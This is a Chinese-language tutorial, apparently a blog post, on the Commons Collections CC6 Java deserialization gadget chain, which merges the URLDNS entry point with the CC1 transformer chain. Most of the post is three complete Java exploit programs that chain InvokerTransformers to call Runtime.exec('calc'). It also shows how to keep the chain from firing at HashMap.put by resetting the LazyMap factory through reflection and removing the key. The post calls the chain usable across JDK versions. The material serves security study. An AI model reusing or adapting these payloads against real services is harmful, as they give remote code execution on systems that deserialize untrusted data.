🌸 cc6
cc6
和cc1
的国外链其实后半条链子是一样的,但是cc6
的不局限于jdk
的版本和commons-collections
的版本。
回忆一下cc1
的后半条链子:
LazyMap.get()->InvokerTransformer.transform()
这里我们就结合了URLDNS链
的思路,在URLDNS
链中,我们知道HashMap
中的readObject
方法,调用了hashCode
方法,如果我们能够找到某一个类的hashCode
方法,在hashCode
方法中调用了get
方法。那么整个链子我们也是可以形成的。
之后便找到了TiedMapEntry
类,在这个类中的hashCode
方法调用了getValue
方法
public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); }
查看TiedMapEntry
类中的getValue
方法,发现其中调用了get
方法。此时到了这里就和之前的URLDNS
链子的前面部分很类似!当我们创建一个HashMap
,然后HashMap
里面写入TiedMapEntry
,当反序列化的时候,便会调用调用hash(key)
,从而调用key.hashCode()
方法,而此时的key
便是我们传入的TiedMapEntry
对象。
那就可以直接利用cc1的后半条链直接继续完善:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6Test {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<String, Object> map = new HashMap<>();Map lazymap = LazyMap.decorate(map, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");serialization(map2);unserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void unserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));objectInputStream.readObject();objectInputStream.close();}
}
但是这还是会存在一个问题,就是当时在学习URLDNS
链的时候,当map.put
的时候,就触发了整个链子的执行,因此我们还是需要组织这个链子的执行!
🌸 绕过map.put触发攻击链
整个链子的前半部分其实和URLDNS
链是非常类似的,在URLDNS
链中我们需要绕过hashCode
,因为在map.put()
的时候,便已经将整个链子走完了,因此需要绕过一下。
首先HashMap
里面放的是tiedMapEntry
,而tiedMapEntry
里面则放的是LazyMap
,LazyMap
里面放的是ChainedTransformer
,最后ChainedTransformer
里面放的是Transformer
。于是我们可以在put之前,将上述的任意一个置空,因为他们是嵌套的,所以只需要置空一个即可!
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6Test {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<String, Object> map = new HashMap<>();//这里将LazyMap里面的factroy置空了Map lazymap = LazyMap.decorate(map, new ChainedTransformer(new Transformer[]{}));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");//当put结束之后,我们还需要通过反射机制,将原来的lazyMap改回去Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);// serialization(map2);unserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void unserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));objectInputStream.readObject();objectInputStream.close();}
}
于是这里我们就绕过了put
时触发。但是我们发现还是执行不了代码。继续看看put
时发生了什么:
这里发现会判断key
是不是存在,如果不存在,则会走进if,如果存在的话就直接return
。我们反序列化的时候,肯定是为了进入if
条件,从而执行factory.transform(key)
方法!
所以我们需要在put
执行完毕之后,将lazyMap
里面的key
删除掉。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6Test {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<String, Object> map = new HashMap<>();Map lazymap = LazyMap.decorate(map, new ChainedTransformer(new Transformer[]{}));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");lazymap.remove("aaa");Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);// serialization(map2);unserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void unserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));objectInputStream.readObject();objectInputStream.close();}
}
🌸 总结
cc6
很像是URLDNS
链和CC1
的联合体。CC6
也是基于commons-collection 3.2.1
,但是CC6
由于是HashMap
作为入口,因此它并不依赖于jdk
的版本,相当于是版本通杀的。